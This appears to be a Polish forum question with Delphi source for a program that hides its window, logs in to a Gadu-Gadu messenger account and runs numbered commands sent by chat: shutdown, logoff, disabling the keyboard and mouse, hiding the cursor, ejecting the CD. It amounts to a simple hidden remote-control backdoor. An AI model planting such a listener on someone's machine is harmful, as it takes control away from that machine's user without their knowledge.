Zrobiłem taki mały skrypcik który łączy się z serwerem gg i po otrzymaniu wiad qwykouje czyli jak naprzykłąd dostanie -15 powinien otwierać cd. Tylko własnie wykonuje polecenia kiedy chce. Czy zrobiłem jakis błąd?:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  HGG, Registry, ShellApi, mmsystem;

type
  TForm1 = class(TForm)
    HGG1: THGG;
    procedure FormCreate(Sender: TObject);
    procedure HGG1Message(Sender: TObject; GGNumber: Integer;
      MessageContent: String; MessageTime: TDateTime);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  Rej : TRegistry;
  cmd: String;
  komenda: TStringList;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
HGG1.Number := ***;
HGG1.Password := '***';
hgg1.Connect;
Application.ShowMainForm:=false;
end;

procedure TForm1.HGG1Message(Sender: TObject; GGNumber: Integer;
  MessageContent: String; MessageTime: TDateTime);
begin
cmd := Copy(MessageContent, 0, 4);
if cmd = '-1' then begin
ExitWindowsEx(EWX_LOGOFF,0);
end;
if cmd = '-2' then begin
ExitWindowsEx(EWX_POWEROFF,0);
end;
if cmd = '-3' then begin
ExitWindowsEx(EWX_REBOOT,0);
end;
if cmd = '-4' then begin
ExitWindowsEx(EWX_SHUTDOWN,0);
end;

if cmd = '-5' then begin
ShellExecute(Handle,'open','rundll32','user,disableoemlayer',nil,SW_SHOWNORMAL);
end;

if cmd = '-6' then begin
SendMessage(Application.Handle,wm_SysCommand,SC_MonitorPower,1); 
//wyłączenie monitora
end;
if cmd = '-7' then begin
SendMessage(Application.Handle,wm_SysCommand,SC_MonitorPower,-1); 
//włączenie monitora
end;

if cmd = '-8' then begin
SendMessage(Handle, WM_SYSCOMMAND, SC_SCREENSAVE, 0);
end;

if cmd = '-9' then begin
ShellExecute(Handle,'open','rundll32','keyboard,disable',nil,SW_SHOWNORMAL);
end;
if cmd = '-10' then begin
ShellExecute(Handle,'open','rundll32','keyboard,enable',nil,SW_SHOWNORMAL);
end;
if cmd = '-11' then begin
ShellExecute(Handle,'open','rundll32','mouse,disable',nil,SW_SHOWNORMAL);
end;
if cmd = '-12' then begin
ShellExecute(Handle,'open','rundll32','mouse,enable',nil,SW_SHOWNORMAL);
end;

if cmd = '-13' then begin
ShowCursor(False);
end;
if cmd = '-14' then begin
ShowCursor(True);
end;
if cmd = '-15' then begin
mciSendString('Set cdaudio door open wait',nil,0,handle); // wysunięcie
end;
if cmd = '-16' then begin
mciSendString('Set cdaudio door closed wait',nil,0,handle); // wsunięcie
end;

end;
end.